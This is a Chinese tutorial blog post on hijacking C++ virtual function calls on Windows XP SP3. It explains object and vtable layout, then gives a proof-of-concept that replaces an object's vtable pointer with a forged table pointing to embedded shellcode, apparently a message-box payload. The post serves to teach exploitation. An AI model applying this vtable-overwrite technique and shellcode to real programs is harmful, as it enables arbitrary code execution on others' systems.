攻击C++虚函数

3 篇文章 0 订阅

C++虚函数和类在内存中的位置关系
这里写图片描述

虚函数示例

/*
    标题:攻击C++虚函数
    操走系统:xp s3
    编辑器:vc6.0
*/

#include <iostream.h>
#include <windows.h>

class People{
public:
    People(char* m_id,char* m_name){
        strcpy(id,m_id);
        strcpy(name,m_name);
    }
    virtual void print(){
        cout<<"I am Person\n";
        cout<<"ID:\t"<<id<<endl;
        cout<<"Name:\t"<<name<<endl;
    }
    virtual void GetName(){
        cout<<"I am Person\n";
        cout<<"Name:\t"<<name<<endl;
    }
    char name[100];
    char id[100];
};

class Student:public People{
public:
    Student(char* m_id,char* m_name,char* m_grade):People(m_id,m_name){strcpy(grade,m_grade);}
    char grade[100];
    virtual void print(){
        cout<<"I am student . [ID] "<<id<< "\t[Name]"<<name<<endl;
        GetName();
    }
    virtual void GetName(){
        cout<<"I am Student and my name is\t"<<name<<endl;
    }
};

int main(int argc,char** argv){
    Student s("0001","ysy","12");
    s.print();
    return 0;
}

分析

c++初始化一个含有虚函数的类student,返回值为0x12fe48,查看对应内存,前四个字节为虚表地址,后面接name和id这两个成员变量。

这里写图片描述
查看地址为0x428038的虚表,是两个虚函数的地址,ida在这边已经识别出来了。
这里写图片描述

如何利用

相比xp s2,在xp s3上,虚函数攻击会有所不同,可以发现在Student类中print这个虚函数里面再去调用GetName这个虚函数,就会使用到虚表,直接修改类中虚表地址,从而达到控制eip的目的,而且在一定情况下可以突破GS。
0x401450:将类的地址赋值给edx,也就是edx指向类中虚表指针
0x401453:将虚表地址赋值给eax,也就是获取虚表地址
0x40145a:获取虚表中第二个虚函数地址,也就是之前的GetName的地址
这里写图片描述

利用示例

直接构造一个虚表,然后将新的虚表地址覆盖类中的虚表指针

/*
    标题:攻击C++虚函数
    操走系统:xp s3
    编辑器:vc6.0
*/

#include <iostream.h>
#include <windows.h>
char shellcode[]="\x90\x90\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6c\x8b\xc4\x53\x50\x50\x53\xff\x57\xfc\x53\xff\x57\xf8\x90\x90\x90";

void test(){
    cout<<"test\n";
}
class People{
public:
    People(char* m_id,char* m_name){
        strcpy(id,m_id);
        strcpy(name,m_name);
    }
    virtual void print(){
        cout<<"I am Person\n";
        cout<<"ID:\t"<<id<<endl;
        cout<<"Name:\t"<<name<<endl;
    }
    virtual void GetName(){
        cout<<"I am Person\n";
        cout<<"Name:\t"<<name<<endl;
    }
    char name[100];
    char id[100];
};

class Student:public People{
public:
    Student(char* m_id,char* m_name,char* m_grade):People(m_id,m_name){strcpy(grade,m_grade);}
    char grade[100];
    virtual void print(){
        cout<<"I am student . [ID] "<<id<< "\t[Name]"<<name<<endl;
        GetName();
    }
    virtual void GetName(){
        cout<<"I am Student and my name is\t"<<name<<endl;
    }
};

int main(int argc,char** argv){
    int new_vftable[2];
    new_vftable[0]=(int)&test;
    new_vftable[1]=(int)&shellcode;
    Student s("0001","ysy","12");
    *(int*)&s=(int)&new_vftable;
    s.print();
    return 0;
}
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值